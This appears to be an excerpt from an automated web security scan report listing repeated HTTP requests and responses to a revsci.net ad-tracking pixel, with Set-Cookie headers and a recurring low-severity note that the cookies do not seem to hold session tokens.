NETSEGS_J08778=0105974ea67d21e1&J08778&0&4d6e5ec7&0&&4d4646af&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_F08747=12bcf06b3b0e70c4&F08747&0&4d6e5e81&0&&4d4637e7&bf058458ea0db79cf343e4719eee87c6; NETSEGS_K05540=0105974ea67d21e1&K05540&0&4d6e5eac&0&&4d4662c3&4c5cffb70704da9ab1f721e8ae18383d;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: rsi_segs_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mh2y3J7gB1NTNwT8g7lTtVTtlUQIhMYnpSDw65LC1yGSiOI1VkRpa9w=; Domain=.revsci.net; Expires=Thu, 02-Feb-2012 15:38:34 GMT; Path=/ Set-Cookie: NETSEGS_G07610=12bcf06b3b0e70c4&G07610&0&4d6e647a&0&&4d464cb2&bf058458ea0db79cf343e4719eee87c6; Domain=.revsci.net; Expires=Wed, 02-Mar-2011 15:38:34 GMT; Path=/ X-Proc-ms: 9 P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA" Server: RSI Cache-Control: no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: text/javascript;charset=UTF-8 Content-Length: 703 Date: Wed, 02 Feb 2011 15:38:33 GMT Connection: close
/* Vermont-12.4.0-1012 */ rsinetsegs=['F08747_10107','F08747_10095']; var rsiExp=new Date((new Date()).getTime()+2419200000); var rsiDom=location.hostname; rsiDom=rsiDom.replace(/.*(\.[\w\-]+\.[a-zA-Z ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /F08747/b3/0/3/1003161/310338891.js HTTP/1.1 Host: pix04.revsci.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: udm_0=MLvv7qPvYS5npS5IdtJQSpvhPw1xdhVUjBbpU3lJNuJJjrMFZ2Nq9VW0Wyy3ISZ5NO+MmP9FlSyoQw8mvWSHpPLJ1ngG9DATUx02q3F9jFyZqD077+Us3IKBcnnEE5XwdejqXpJAZPwNSFXg0uCWwyYQdlxZpijKrbF7cCvCoMYDTktERxIxSZZcDt8MjuJZ+W4TPaIPrq7nNd0flh2LluQS43FREiqbZBDbJe3Y/jSE1FU4KxKFeyAHidFnlHTh8CY7/9O6tRnqrJq22sxU/yTe6grWk5jenBAXIYJ1bUF4lqEcdlwQaNi98F38q8o9V3L0pMaQODi+TW0+bz3ALn1b+T7f3V7o0K7wUXxvw1OcUQqqv8/a0p6ptjD0Lu0PpxvLzjJ9VEsQsXgttwYzWyq1u6gQ3s8OnOTraQkO26fOHecRUPM7YxFYfZ8Qz+d3/Czf6/YytLwZhcMx4RHxCiqH+YQd+1ZVZtz4VgrCVFWWM4cD0Tpp1KPgYL7P3px5TrVyAQj0piQ2GkHnf+7p4LZvwlW4wnyepfzPy9HPhpNamRaQebRgo4I=; NETSEGS_H05525=0105974ea67d21e1&H05525&0&4d631d1f&0&&4d3d3a07&4c5cffb70704da9ab1f721e8ae18383d; NETID01=TUl0fhIBEwoAAAIMqhQAAAAr; NETSEGS_B08725=0105974ea67d21e1&B08725&0&4d656938&0&&4d3f9d13&4c5cffb70704da9ab1f721e8ae18383d; rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mqnxmVeJWtwf0wDT7Fu8GN7lxE/BcVKzkXakvIXV+cer9duzVms/DJMc; NETSEGS_G07610=0105974ea67d21e1&G07610&0&4d631e10&0&&4d3d330b&4c5cffb70704da9ab1f721e8ae18383d; rsi_us_1000000=pUMdIz9HMAYU1E2E9n2ISiO7LH9AdCZB8/1a2KTS3G5aZx/NZi+P8cW2My/DwFExss6o41Rb1frll4heX/wIlF9+5hutyLzGGJeqWQ+EtLTv6NPkfin9gOJr1fis6gF32mRyjYPB+ZWxeJb5RBOlBE9ZcPm0s9GPlU+kU3cJNpFiJhrTEEyRwyqsBVplUzoVSbJzTvXGpU9ndRFrT42Z2rhCsTZ545aurI27EmHe3foKpOjQUfG7FP2sNsmL+vKE5LSewa8YlG2A78XL0sy4wFL2WuXW4j/XgUAsZAAonTG4h4hLSnwuTgXjiQ3XBglP6wa82rCzMFCioNtC1wGYnNHJIs1WzZyVbuNSl73Xje6dpjaJ9d4yT92rVBJjViaEnqpCfi44qaHMM2Ip1FswSfCzkAryte7FZO5U2Gi1DiNtRj19L5DNXH9t2rVQa/SPDZjwvfG0+tfOoqOtbT6ehHegFo62Z1+7d0hcUsUiLyzZ70sOogCTx2W1NAR0rfIwVzb2cLrFrGQwny8+T957xMpFQsmf12hkmcv4vjxgee/nx3K8q5XuvI2gm2GtT4q9FOutkDvDxbGOb97wmamFimMU41hfEDMGi3Lk+6TsHF/iRUMm5BDMhDtVcdsuCfM5ORhQyoZ726Z0+7YvTqoDqkDV5gEbmIyzQrW6TwZlzb00UdtjPl0+snH0If9z10LpIaeG+9b2bsOpyOBNhc5AAWBVLwcP71OoYBjKPlnOAt5Y21ydGkg9Ez+ZtKF9Zpx1NFJV8MNLq1fJ2zg4CmhIddlR6FKQuQTb6RiE4tr2EdcFzD9ZZFi7HeK45WqywA2b8ANKBW1pBZpbaR1litt4B5OoA/shRe7BS364p/6UTjV0Cv6Bv9j/LKmWG42JJrO39plBORNaspZNL0SmbfNCgpycmTxHQ2sA0yhkzT/vH6Vz8gNy4wwD7D2CUGOXMweyApFWXPYMtH74zy4AOcVL/6eXvGKSE6wn4YOTy+5z77OqnOVR57KDxoL5JYiPBHyQPu3jqvk+Y//pbzu0SLAf1kBgS7w0mVpfe2Tu9KeCmh4D7T/Bg+eSemdp5s/lJtLZjkzKlP1V1FI8dJ83UV0sRxhmd86EHax0CT+OVVonD+RasYP7/Fhmt7+azm4WQCcubjdd2RKgHIfX347bSApoJ+ydExP3QuS1/wv/BereoJGU2W5hq3ssqKRgiJ0pEZ9RM7U8Wxj20WQc0I7faLudXZXKkMIn3zZArcWZYLFinHAsa3eMtlIkw1Oqh4fwtpbP; NETSEGS_A06546=0105974ea67d21e1&A06546&0&4d69a909&0&&4d439426&4c5cffb70704da9ab1f721e8ae18383d; rtc_0=MLuBM44HAVzDEFZDcsKR1+BMtq9Qy3TJceL+0OcrqWduR/0lqQ==; NETSEGS_K04491=0105974ea67d21e1&K04491&0&4d6e5eee&0&&4d465115&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_J08778=0105974ea67d21e1&J08778&0&4d6e5ec7&0&&4d4646af&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_F08747=12bcf06b3b0e70c4&F08747&0&4d6e5e81&0&&4d4637e7&bf058458ea0db79cf343e4719eee87c6; NETSEGS_K05540=0105974ea67d21e1&K05540&0&4d6e5eac&0&&4d4662c3&4c5cffb70704da9ab1f721e8ae18383d;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: rsi_segs_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mh2y3J7gB1NTNwT8g7lTtVTtlUQIhMYnpSDw69OD9mCyCCM1VkT2a+s=; Domain=.revsci.net; Expires=Thu, 02-Feb-2012 19:21:20 GMT; Path=/ Set-Cookie: NETSEGS_G07610=12bcf06b3b0e70c4&G07610&0&4d6e98b0&0&&4d464cb2&bf058458ea0db79cf343e4719eee87c6; Domain=.revsci.net; Expires=Wed, 02-Mar-2011 19:21:20 GMT; Path=/ X-Proc-ms: 2 P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA" Server: RSI Cache-Control: no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: text/javascript;charset=UTF-8 Content-Length: 703 Date: Wed, 02 Feb 2011 19:21:20 GMT Connection: close
/* Vermont-12.4.0-1012 */ rsinetsegs=['F08747_10107','F08747_10095']; var rsiExp=new Date((new Date()).getTime()+2419200000); var rsiDom=location.hostname; rsiDom=rsiDom.replace(/.*(\.[\w\-]+\.[a-zA-Z ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /F08747/b3/0/3/1003161/364341298.js HTTP/1.1 Host: pix04.revsci.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: udm_0=MLvv7qPvYS5npS5IdtJQSpvhPw1xdhVUjBbpU3lJNuJJjrMFZ2Nq9VW0Wyy3ISZ5NO+MmP9FlSyoQw8mvWSHpPLJ1ngG9DATUx02q3F9jFyZqD077+Us3IKBcnnEE5XwdejqXpJAZPwNSFXg0uCWwyYQdlxZpijKrbF7cCvCoMYDTktERxIxSZZcDt8MjuJZ+W4TPaIPrq7nNd0flh2LluQS43FREiqbZBDbJe3Y/jSE1FU4KxKFeyAHidFnlHTh8CY7/9O6tRnqrJq22sxU/yTe6grWk5jenBAXIYJ1bUF4lqEcdlwQaNi98F38q8o9V3L0pMaQODi+TW0+bz3ALn1b+T7f3V7o0K7wUXxvw1OcUQqqv8/a0p6ptjD0Lu0PpxvLzjJ9VEsQsXgttwYzWyq1u6gQ3s8OnOTraQkO26fOHecRUPM7YxFYfZ8Qz+d3/Czf6/YytLwZhcMx4RHxCiqH+YQd+1ZVZtz4VgrCVFWWM4cD0Tpp1KPgYL7P3px5TrVyAQj0piQ2GkHnf+7p4LZvwlW4wnyepfzPy9HPhpNamRaQebRgo4I=; NETSEGS_H05525=0105974ea67d21e1&H05525&0&4d631d1f&0&&4d3d3a07&4c5cffb70704da9ab1f721e8ae18383d; NETID01=TUl0fhIBEwoAAAIMqhQAAAAr; NETSEGS_B08725=0105974ea67d21e1&B08725&0&4d656938&0&&4d3f9d13&4c5cffb70704da9ab1f721e8ae18383d; rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mqnxmVeJWtwf0wDT7Fu8GN7lxE/BcVKzkXSkPATW+Mer9duzVms/XJMQ; NETSEGS_G07610=0105974ea67d21e1&G07610&0&4d631e10&0&&4d3d330b&4c5cffb70704da9ab1f721e8ae18383d; rsi_us_1000000=pUMdIz9HMAYU1E2E9n2ISiO7LH9AdCZB8/1a2KTS3G5aZx/NZi+P8cW2My/DwFExss6o41Rb1frll4heX/wIlF9+5hutyLzGGJeqWQ+EtLTv6NPkfin9gOJr1fis6gF32mRyjYPB+ZWxeJb5RBOlBE9ZcPm0s9GPlU+kU3cJNpFiJhrTEEyRwyqsBVplUzoVSbJzTvXGpU9ndRFrT42Z2rhCsTZ545aurI27EmHe3foKpOjQUfG7FP2sNsmL+vKE5LSewa8YlG2A78XL0sy4wFL2WuXW4j/XgUAsZAAonTG4h4hLSnwuTgXjiQ3XBglP6wa82rCzMFCioNtC1wGYnNHJIs1WzZyVbuNSl73Xje6dpjaJ9d4yT92rVBJjViaEnqpCfi44qaHMM2Ip1FswSfCzkAryte7FZO5U2Gi1DiNtRj19L5DNXH9t2rVQa/SPDZjwvfG0+tfOoqOtbT6ehHegFo62Z1+7d0hcUsUiLyzZ70sOogCTx2W1NAR0rfIwVzb2cLrFrGQwny8+T957xMpFQsmf12hkmcv4vjxgee/nx3K8q5XuvI2gm2GtT4q9FOutkDvDxbGOb97wmamFimMU41hfEDMGi3Lk+6TsHF/iRUMm5BDMhDtVcdsuCfM5ORhQyoZ726Z0+7YvTqoDqkDV5gEbmIyzQrW6TwZlzb00UdtjPl0+snH0If9z10LpIaeG+9b2bsOpyOBNhc5AAWBVLwcP71OoYBjKPlnOAt5Y21ydGkg9Ez+ZtKF9Zpx1NFJV8MNLq1fJ2zg4CmhIddlR6FKQuQTb6RiE4tr2EdcFzD9ZZFi7HeK45WqywA2b8ANKBW1pBZpbaR1litt4B5OoA/shRe7BS364p/6UTjV0Cv6Bv9j/LKmWG42JJrO39plBORNaspZNL0SmbfNCgpycmTxHQ2sA0yhkzT/vH6Vz8gNy4wwD7D2CUGOXMweyApFWXPYMtH74zy4AOcVL/6eXvGKSE6wn4YOTy+5z77OqnOVR57KDxoL5JYiPBHyQPu3jqvk+Y//pbzu0SLAf1kBgS7w0mVpfe2Tu9KeCmh4D7T/Bg+eSemdp5s/lJtLZjkzKlP1V1FI8dJ83UV0sRxhmd86EHax0CT+OVVonD+RasYP7/Fhmt7+azm4WQCcubjdd2RKgHIfX347bSApoJ+ydExP3QuS1/wv/BereoJGU2W5hq3ssqKRgiJ0pEZ9RM7U8Wxj20WQc0I7faLudXZXKkMIn3zZArcWZYLFinHAsa3eMtlIkw1Oqh4fwtpbP; NETSEGS_A06546=0105974ea67d21e1&A06546&0&4d69a909&0&&4d439426&4c5cffb70704da9ab1f721e8ae18383d; rtc_0=MLuBM44HAVzDEFZDcsKR1+BMtq9Qy3TJceL+0OcrqWduR/0lqQ==; NETSEGS_K04491=0105974ea67d21e1&K04491&0&4d6e5eee&0&&4d465115&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_J08778=0105974ea67d21e1&J08778&0&4d6e5ec7&0&&4d4646af&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_F08747=12bcf06b3b0e70c4&F08747&0&4d6e5e81&0&&4d4637e7&bf058458ea0db79cf343e4719eee87c6; NETSEGS_K05540=0105974ea67d21e1&K05540&0&4d6e5eac&0&&4d4662c3&4c5cffb70704da9ab1f721e8ae18383d;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: rsi_segs_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mqnxmVeJWtwf0wDT7Fu8GN7lxE/BcVKzk/elPMXV+ser9duzVms/PpMe; Domain=.revsci.net; Expires=Thu, 02-Feb-2012 15:38:47 GMT; Path=/ Set-Cookie: NETSEGS_G07610=12bcf06b3b0e70c4&G07610&0&4d6e6487&0&&4d464cb2&bf058458ea0db79cf343e4719eee87c6; Domain=.revsci.net; Expires=Wed, 02-Mar-2011 15:38:47 GMT; Path=/ X-Proc-ms: 1 P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA" Server: RSI Cache-Control: no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: text/javascript;charset=UTF-8 Content-Length: 703 Date: Wed, 02 Feb 2011 15:38:46 GMT Connection: close
/* Vermont-12.4.0-1012 */ rsinetsegs=['F08747_10107','F08747_10095']; var rsiExp=new Date((new Date()).getTime()+2419200000); var rsiDom=location.hostname; rsiDom=rsiDom.replace(/.*(\.[\w\-]+\.[a-zA-Z ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /F08747/b3/0/3/1003161/36740428.js HTTP/1.1 Host: pix04.revsci.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: udm_0=MLvv7qPvYS5npS5IdtJQSpvhPw1xdhVUjBbpU3lJNuJJjrMFZ2Nq9VW0Wyy3ISZ5NO+MmP9FlSyoQw8mvWSHpPLJ1ngG9DATUx02q3F9jFyZqD077+Us3IKBcnnEE5XwdejqXpJAZPwNSFXg0uCWwyYQdlxZpijKrbF7cCvCoMYDTktERxIxSZZcDt8MjuJZ+W4TPaIPrq7nNd0flh2LluQS43FREiqbZBDbJe3Y/jSE1FU4KxKFeyAHidFnlHTh8CY7/9O6tRnqrJq22sxU/yTe6grWk5jenBAXIYJ1bUF4lqEcdlwQaNi98F38q8o9V3L0pMaQODi+TW0+bz3ALn1b+T7f3V7o0K7wUXxvw1OcUQqqv8/a0p6ptjD0Lu0PpxvLzjJ9VEsQsXgttwYzWyq1u6gQ3s8OnOTraQkO26fOHecRUPM7YxFYfZ8Qz+d3/Czf6/YytLwZhcMx4RHxCiqH+YQd+1ZVZtz4VgrCVFWWM4cD0Tpp1KPgYL7P3px5TrVyAQj0piQ2GkHnf+7p4LZvwlW4wnyepfzPy9HPhpNamRaQebRgo4I=; NETSEGS_H05525=0105974ea67d21e1&H05525&0&4d631d1f&0&&4d3d3a07&4c5cffb70704da9ab1f721e8ae18383d; NETID01=TUl0fhIBEwoAAAIMqhQAAAAr; NETSEGS_B08725=0105974ea67d21e1&B08725&0&4d656938&0&&4d3f9d13&4c5cffb70704da9ab1f721e8ae18383d; rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mqnxmVeJWtwf0wDT7Fu8GN7lxE/BcVKzkXSkPATW+Mer9duzVms/XJMQ; NETSEGS_G07610=0105974ea67d21e1&G07610&0&4d631e10&0&&4d3d330b&4c5cffb70704da9ab1f721e8ae18383d; rsi_us_1000000=pUMdIz9HMAYU1E2E9n2ISiO7LH9AdCZB8/1a2KTS3G5aZx/NZi+P8cW2My/DwFExss6o41Rb1frll4heX/wIlF9+5hutyLzGGJeqWQ+EtLTv6NPkfin9gOJr1fis6gF32mRyjYPB+ZWxeJb5RBOlBE9ZcPm0s9GPlU+kU3cJNpFiJhrTEEyRwyqsBVplUzoVSbJzTvXGpU9ndRFrT42Z2rhCsTZ545aurI27EmHe3foKpOjQUfG7FP2sNsmL+vKE5LSewa8YlG2A78XL0sy4wFL2WuXW4j/XgUAsZAAonTG4h4hLSnwuTgXjiQ3XBglP6wa82rCzMFCioNtC1wGYnNHJIs1WzZyVbuNSl73Xje6dpjaJ9d4yT92rVBJjViaEnqpCfi44qaHMM2Ip1FswSfCzkAryte7FZO5U2Gi1DiNtRj19L5DNXH9t2rVQa/SPDZjwvfG0+tfOoqOtbT6ehHegFo62Z1+7d0hcUsUiLyzZ70sOogCTx2W1NAR0rfIwVzb2cLrFrGQwny8+T957xMpFQsmf12hkmcv4vjxgee/nx3K8q5XuvI2gm2GtT4q9FOutkDvDxbGOb97wmamFimMU41hfEDMGi3Lk+6TsHF/iRUMm5BDMhDtVcdsuCfM5ORhQyoZ726Z0+7YvTqoDqkDV5gEbmIyzQrW6TwZlzb00UdtjPl0+snH0If9z10LpIaeG+9b2bsOpyOBNhc5AAWBVLwcP71OoYBjKPlnOAt5Y21ydGkg9Ez+ZtKF9Zpx1NFJV8MNLq1fJ2zg4CmhIddlR6FKQuQTb6RiE4tr2EdcFzD9ZZFi7HeK45WqywA2b8ANKBW1pBZpbaR1litt4B5OoA/shRe7BS364p/6UTjV0Cv6Bv9j/LKmWG42JJrO39plBORNaspZNL0SmbfNCgpycmTxHQ2sA0yhkzT/vH6Vz8gNy4wwD7D2CUGOXMweyApFWXPYMtH74zy4AOcVL/6eXvGKSE6wn4YOTy+5z77OqnOVR57KDxoL5JYiPBHyQPu3jqvk+Y//pbzu0SLAf1kBgS7w0mVpfe2Tu9KeCmh4D7T/Bg+eSemdp5s/lJtLZjkzKlP1V1FI8dJ83UV0sRxhmd86EHax0CT+OVVonD+RasYP7/Fhmt7+azm4WQCcubjdd2RKgHIfX347bSApoJ+ydExP3QuS1/wv/BereoJGU2W5hq3ssqKRgiJ0pEZ9RM7U8Wxj20WQc0I7faLudXZXKkMIn3zZArcWZYLFinHAsa3eMtlIkw1Oqh4fwtpbP; NETSEGS_A06546=0105974ea67d21e1&A06546&0&4d69a909&0&&4d439426&4c5cffb70704da9ab1f721e8ae18383d; rtc_0=MLuBM44HAVzDEFZDcsKR1+BMtq9Qy3TJceL+0OcrqWduR/0lqQ==; NETSEGS_K04491=0105974ea67d21e1&K04491&0&4d6e5eee&0&&4d465115&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_J08778=0105974ea67d21e1&J08778&0&4d6e5ec7&0&&4d4646af&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_F08747=12bcf06b3b0e70c4&F08747&0&4d6e5e81&0&&4d4637e7&bf058458ea0db79cf343e4719eee87c6; NETSEGS_K05540=0105974ea67d21e1&K05540&0&4d6e5eac&0&&4d4662c3&4c5cffb70704da9ab1f721e8ae18383d;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: rsi_segs_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mqnxmVeJWtwf0wDT7Fu8GN7lxE/BcVKzk3ekPYaX+Mer9duzVms/fpMT; Domain=.revsci.net; Expires=Thu, 02-Feb-2012 15:39:05 GMT; Path=/ Set-Cookie: NETSEGS_G07610=12bcf06b3b0e70c4&G07610&0&4d6e6499&0&&4d464cb2&bf058458ea0db79cf343e4719eee87c6; Domain=.revsci.net; Expires=Wed, 02-Mar-2011 15:39:05 GMT; Path=/ X-Proc-ms: 122 P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA" Server: RSI Cache-Control: no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: text/javascript;charset=UTF-8 Content-Length: 703 Date: Wed, 02 Feb 2011 15:39:04 GMT Connection: close
/* Vermont-12.4.0-1012 */ rsinetsegs=['F08747_10107','F08747_10095']; var rsiExp=new Date((new Date()).getTime()+2419200000); var rsiDom=location.hostname; rsiDom=rsiDom.replace(/.*(\.[\w\-]+\.[a-zA-Z ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /F08747/b3/0/3/1003161/374759838.js HTTP/1.1 Host: pix04.revsci.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: udm_0=MLvv7qPvYS5npS5IdtJQSpvhPw1xdhVUjBbpU3lJNuJJjrMFZ2Nq9VW0Wyy3ISZ5NO+MmP9FlSyoQw8mvWSHpPLJ1ngG9DATUx02q3F9jFyZqD077+Us3IKBcnnEE5XwdejqXpJAZPwNSFXg0uCWwyYQdlxZpijKrbF7cCvCoMYDTktERxIxSZZcDt8MjuJZ+W4TPaIPrq7nNd0flh2LluQS43FREiqbZBDbJe3Y/jSE1FU4KxKFeyAHidFnlHTh8CY7/9O6tRnqrJq22sxU/yTe6grWk5jenBAXIYJ1bUF4lqEcdlwQaNi98F38q8o9V3L0pMaQODi+TW0+bz3ALn1b+T7f3V7o0K7wUXxvw1OcUQqqv8/a0p6ptjD0Lu0PpxvLzjJ9VEsQsXgttwYzWyq1u6gQ3s8OnOTraQkO26fOHecRUPM7YxFYfZ8Qz+d3/Czf6/YytLwZhcMx4RHxCiqH+YQd+1ZVZtz4VgrCVFWWM4cD0Tpp1KPgYL7P3px5TrVyAQj0piQ2GkHnf+7p4LZvwlW4wnyepfzPy9HPhpNamRaQebRgo4I=; NETSEGS_H05525=0105974ea67d21e1&H05525&0&4d631d1f&0&&4d3d3a07&4c5cffb70704da9ab1f721e8ae18383d; NETID01=TUl0fhIBEwoAAAIMqhQAAAAr; NETSEGS_B08725=0105974ea67d21e1&B08725&0&4d656938&0&&4d3f9d13&4c5cffb70704da9ab1f721e8ae18383d; rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mqnxmVeJWtwf0wDT7Fu8GN7lxE/BcVKzkXakvIXV+cer9duzVms/DJMc; NETSEGS_G07610=0105974ea67d21e1&G07610&0&4d631e10&0&&4d3d330b&4c5cffb70704da9ab1f721e8ae18383d; rsi_us_1000000=pUMdIz9HMAYU1E2E9n2ISiO7LH9AdCZB8/1a2KTS3G5aZx/NZi+P8cW2My/DwFExss6o41Rb1frll4heX/wIlF9+5hutyLzGGJeqWQ+EtLTv6NPkfin9gOJr1fis6gF32mRyjYPB+ZWxeJb5RBOlBE9ZcPm0s9GPlU+kU3cJNpFiJhrTEEyRwyqsBVplUzoVSbJzTvXGpU9ndRFrT42Z2rhCsTZ545aurI27EmHe3foKpOjQUfG7FP2sNsmL+vKE5LSewa8YlG2A78XL0sy4wFL2WuXW4j/XgUAsZAAonTG4h4hLSnwuTgXjiQ3XBglP6wa82rCzMFCioNtC1wGYnNHJIs1WzZyVbuNSl73Xje6dpjaJ9d4yT92rVBJjViaEnqpCfi44qaHMM2Ip1FswSfCzkAryte7FZO5U2Gi1DiNtRj19L5DNXH9t2rVQa/SPDZjwvfG0+tfOoqOtbT6ehHegFo62Z1+7d0hcUsUiLyzZ70sOogCTx2W1NAR0rfIwVzb2cLrFrGQwny8+T957xMpFQsmf12hkmcv4vjxgee/nx3K8q5XuvI2gm2GtT4q9FOutkDvDxbGOb97wmamFimMU41hfEDMGi3Lk+6TsHF/iRUMm5BDMhDtVcdsuCfM5ORhQyoZ726Z0+7YvTqoDqkDV5gEbmIyzQrW6TwZlzb00UdtjPl0+snH0If9z10LpIaeG+9b2bsOpyOBNhc5AAWBVLwcP71OoYBjKPlnOAt5Y21ydGkg9Ez+ZtKF9Zpx1NFJV8MNLq1fJ2zg4CmhIddlR6FKQuQTb6RiE4tr2EdcFzD9ZZFi7HeK45WqywA2b8ANKBW1pBZpbaR1litt4B5OoA/shRe7BS364p/6UTjV0Cv6Bv9j/LKmWG42JJrO39plBORNaspZNL0SmbfNCgpycmTxHQ2sA0yhkzT/vH6Vz8gNy4wwD7D2CUGOXMweyApFWXPYMtH74zy4AOcVL/6eXvGKSE6wn4YOTy+5z77OqnOVR57KDxoL5JYiPBHyQPu3jqvk+Y//pbzu0SLAf1kBgS7w0mVpfe2Tu9KeCmh4D7T/Bg+eSemdp5s/lJtLZjkzKlP1V1FI8dJ83UV0sRxhmd86EHax0CT+OVVonD+RasYP7/Fhmt7+azm4WQCcubjdd2RKgHIfX347bSApoJ+ydExP3QuS1/wv/BereoJGU2W5hq3ssqKRgiJ0pEZ9RM7U8Wxj20WQc0I7faLudXZXKkMIn3zZArcWZYLFinHAsa3eMtlIkw1Oqh4fwtpbP; NETSEGS_A06546=0105974ea67d21e1&A06546&0&4d69a909&0&&4d439426&4c5cffb70704da9ab1f721e8ae18383d; rtc_0=MLuBM44HAVzDEFZDcsKR1+BMtq9Qy3TJceL+0OcrqWduR/0lqQ==; NETSEGS_K04491=0105974ea67d21e1&K04491&0&4d6e5eee&0&&4d465115&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_J08778=0105974ea67d21e1&J08778&0&4d6e5ec7&0&&4d4646af&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_F08747=12bcf06b3b0e70c4&F08747&0&4d6e5e81&0&&4d4637e7&bf058458ea0db79cf343e4719eee87c6; NETSEGS_K05540=0105974ea67d21e1&K05540&0&4d6e5eac&0&&4d4662c3&4c5cffb70704da9ab1f721e8ae18383d;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: rsi_segs_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mh2y3J7gB1NTNwT8g7lTtVTtlUQIhMYnpSDw69ODFkETCCM1VkTna+U=; Domain=.revsci.net; Expires=Thu, 02-Feb-2012 19:21:19 GMT; Path=/ Set-Cookie: NETSEGS_G07610=12bcf06b3b0e70c4&G07610&0&4d6e98af&0&&4d464cb2&bf058458ea0db79cf343e4719eee87c6; Domain=.revsci.net; Expires=Wed, 02-Mar-2011 19:21:19 GMT; Path=/ X-Proc-ms: 1 P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA" Server: RSI Cache-Control: no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: text/javascript;charset=UTF-8 Content-Length: 703 Date: Wed, 02 Feb 2011 19:21:19 GMT Connection: close
